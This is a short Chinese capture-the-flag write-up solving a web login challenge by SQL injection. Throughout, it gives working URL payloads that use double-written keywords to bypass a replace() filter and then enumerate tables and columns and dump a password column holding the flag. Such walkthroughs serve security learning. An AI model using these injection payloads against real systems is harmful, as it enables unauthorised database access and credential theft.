打开题目,可以看见是一个登陆界面,可以明确是SQL注入
首先试一下万能密码看看可不可以:
?username=admin&password=admin' or '1'='1
很不幸,显示错误
那么接下来我们通过报错回显来看看有没有信息,在前面闭合
?username=admin'&password=admin' or '1'='1
可以看见报错回显信息
很明显,这里应该是过滤了一些关键词,比如or 。再回显中可以判断应该是用函数replace将其替换成了空白字符。
于是我们可以开始双写绕过:双写绕过原理
构造payload判断字段个数:
?username=admin&password=admin' uunionnion sselectelect 1,2,3'
显示出两个显示位:
查询数据表:
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23
找到两个表b4bsql,geekuser
接下来查询表内字段
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23
爆出三个字段名 id,username,password
基本上password内就有flag了
?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23
得到
flag{048c6de7-ad8e-4a41-93ab-635d100112c5}
如果有不对和不全的地方,希望大家能指出来,以便改正错误,我只是一个小白,谢谢大家!